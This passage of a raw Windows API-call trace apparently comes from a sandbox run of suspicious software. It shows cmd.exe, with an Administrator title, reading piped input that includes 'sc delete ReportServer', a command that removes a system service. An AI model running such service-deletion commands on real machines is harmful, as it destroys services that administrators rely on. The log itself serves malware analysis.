dwThreadId=0xae4)) returned 1 [0076.581] CloseHandle (hObject=0x54) returned 1 [0076.581] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.581] GetProcessHeap () returned 0x240000 [0076.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.581] GetEnvironmentStringsW () returned 0x25ba10* [0076.581] GetProcessHeap () returned 0x240000 [0076.581] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.581] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.581] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.581] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.581] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0076.625] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.625] CloseHandle (hObject=0x50) returned 1 [0076.625] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.625] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.625] GetProcessHeap () returned 0x240000 [0076.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0076.625] GetEnvironmentStringsW () returned 0x261b10* [0076.625] GetProcessHeap () returned 0x240000 [0076.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.625] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.625] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.625] GetProcessHeap () returned 0x240000 [0076.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.625] GetEnvironmentStringsW () returned 0x25ba10* [0076.625] GetProcessHeap () returned 0x240000 [0076.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.625] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.625] GetProcessHeap () returned 0x240000 [0076.626] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.626] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.626] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.626] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.626] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.626] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.626] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.626] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.626] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.627] GetConsoleOutputCP () returned 0x1b5 [0076.627] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.627] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.627] GetProcessHeap () returned 0x240000 [0076.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.628] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.628] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.628] GetFileType (hFile=0x120) returned 0x3 [0076.628] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.628] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.628] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.628] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.628] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.628] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.628] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.628] GetFileType (hFile=0x120) returned 0x3 [0076.628] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.628] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.628] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.628] GetFileType (hFile=0xb8) returned 0x3 [0076.628] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.628] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.629] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete ReportServer\n0\nService\n\n") returned 1 [0076.629] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.629] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete ReportServer\n0\nService\n\n") returned 1 [0076.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te ReportServer\n0\nService\n\n") returned 1 [0076.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e ReportServer\n0\nService\n\n") returned 1 [0076.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" ReportServer\n0\nService\n\n") returned 1 [0076.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.630] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"eportServer\n0\nService\n\n") returned 1 [0076.630] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.630] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SportServer\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="QortServer\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="LrtServer\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="TtServer\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="EServer\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.631] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Lerver\n0\nService\n\n") returned 1 [0076.631] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.631] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Erver\n0\nService\n\n") returned 1 [0076.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Mver\n0\nService\n\n") returned 1 [0076.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="Eer\n0\nService\n\n") returned 1 [0076.632] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.632] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.632] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.633] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="Tr\n0\nService\n\n") returned 1 [0076.633] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.633] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.633] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.633] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="R\n0\nService\n\n") returned 1 [0076.633] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.633] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="Y0\nService\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="$\nService\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="HService\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="Lervice\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="\"rvice\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] SetFilePointer (in: hFile=0xb8, 